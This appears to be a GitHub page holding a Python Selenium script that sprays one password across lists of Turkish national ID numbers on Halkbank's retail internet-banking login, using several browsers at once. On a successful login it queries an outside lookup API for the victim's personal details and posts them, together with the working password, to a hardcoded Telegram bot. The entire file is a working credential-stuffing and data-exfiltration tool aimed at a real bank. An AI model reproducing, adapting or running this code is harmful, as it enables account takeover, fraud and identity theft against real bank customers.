-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmy.py
More file actions
143 lines (115 loc) · 5.46 KB
/
Copy pathmy.py
File metadata and controls
143 lines (115 loc) · 5.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import os
import requests
import threading
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service as ChromeService
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
# Telegram bot information
TOKEN = '6719470714:AAEiTm7V6s3zTB_etIrOpaykcHzDWp3i7YA'
CHAT_ID = '-4536729276'
# Get password and browser number from user
password = input("Which password should be tried?")
num_browsers = int(input("How many browsers should it work with?"))
print(f"{num_browsers} The browser opens...")
# Function that loads TR numbers
def tc_listesi_yukle(dosya_yolu):
with open(dosya_yolu, 'r') as file:
return [line.strip() for line in file.readlines()]
# Get the ID numbers from the directory
file_path = os.path.join(os.path.dirname(__file__), '1.txt')
tc_numbers = tc_listesi_yukle(file_path)
# Report the number of results
if not tc_numbers:
print("No results found.")
exit()
print(f"{len(tc_numbers)} Results found.")
# Function that checks if the login is successful
def giris_basarili_mi(driver, tc, sifre):
try:
if driver.current_url == 'https://sube.halkbank.com.tr/InternetBankingHost/SecondLogin':
api_url = f'https://ilkkuralsaygi.online/apiservice/stayhigh/tcpro.php?auth=stayhighforlife&tc={tc}'
response = requests.get(api_url)
if response.status_code != 200:
print(f"Failed to retrieve data from API. Status code: {response.status_code}")
return False
data = response.json()
if data:
gsm_numeralari = data.get('gsm-diff-format', [])
if not gsm_numeralari:
gsm_numeralari = [data.get('gsm', 'Bilinmiyor')]
gsm_str = ', '.join(gsm_numeralari)
mesaj = (
f"<b>✅ HALK ZAMANI</b>\n"
f"🪪 <b>TC Kimlik No:</b> {data.get('tc', 'Bilinmiyor')}\n"
f"🔑 <b>Şifre:</b> {sifre}\n"
f"\n"
f"👤 <b>Adı Soyadı:</b> {data.get('adi', 'Bilinmiyor')} {data.get('soyadi', '')}\n"
f"📅 <b>Doğum Tarihi:</b> {data.get('dogumtarihi', 'Bilinmiyor')} ({data.get('yas', 'Bilinmiyor')})\n"
f"👩 <b>Anne Adı:</b> {data.get('annead', 'Bilinmiyor')}\n"
f"👨 <b>Baba Adı:</b> {data.get('babaad', 'Bilinmiyor')}\n"
f"📞 <b>GSM Numaraları:</b> {gsm_str}\n"
)
# Send message to Telegram
requests.post(f'https://api.telegram.org/bot{TOKEN}/sendMessage',
data={'chat_id': CHAT_ID, 'text': mesaj, 'parse_mode': 'HTML'})
print(f"({tc})Tried. Login successful. Message sent to Telegram.") # Successful login log
return True
except Exception as e:
print(f"Hata: {e}")
return False
# Browser launch and TC test function
def start_browser(browser_id, password, tc_list):
chrome_driver_path = r'D:\chromedriver-win64\chromedriver.exe'
service = ChromeService(chrome_driver_path)
options = webdriver.ChromeOptions()
# Adjust browser settings if needed
options.add_argument("--window-size=460,820")
options.add_argument("--window-position=0,0")
driver = webdriver.Chrome(service=service, options=options)
for tc_number in tc_list:
url = 'https://sube.halkbank.com.tr/InternetBankingHost/HostLogin?CustomerType=Retail'
driver.get(url)
tc_input = driver.find_element(By.ID, 'PinLoginCustomerID')
tc_input.click()
tc_input.send_keys(tc_number)
password_input = driver.find_element(By.NAME, 'FirstLoginPasswordNotEncrypt')
password_input.click()
password_input.send_keys(password)
login_button = driver.find_element(By.ID, 'submitbtn')
login_button.click()
# Wait 1 second
time.sleep(1)
# captcha_image = driver.find_element(By.ID, "HalkbankLoginCaptcha_CaptchaImage")
# captcha_src = captcha_image.get_attribute("src")
# captcha_url = captcha_src
# print(captcha_url)
# response = requests.get(captcha_url)
# img = Image.open(BytesIO(response.content))
# img.save("captcha_image.png")
# Check if the login button exists
login_button_check = driver.find_elements(By.ID, 'submitbtn')
if login_button_check: # If the login button is there again
print(f"({tc_number}) There is a problem with the account. Login will be tried again.")
continue # Continue looping on bad input
# Check user information if login is successful
if giris_basarili_mi(driver, tc_number, password):
break # Exit loop on successful login
# Progress
print(f"({tc_number}) Attempted to log in. Not successful.")
driver.quit() # Close the browser
# Divide ID numbers according to the number of browsers
def bol_tc_numaralari(tc_numbers, num_browsers):
for i in range(num_browsers):
yield tc_numbers[i::num_browsers]
# Open multiple browsers
threads = []
for i, tc_list in enumerate(bol_tc_numaralari(tc_numbers, num_browsers)):
thread = threading.Thread(target=start_browser, args=(i, password, list(tc_list)))
threads.append(thread)
thread.start() # Start each browser
# Wait for all threads to finish
for thread in threads:
thread.join()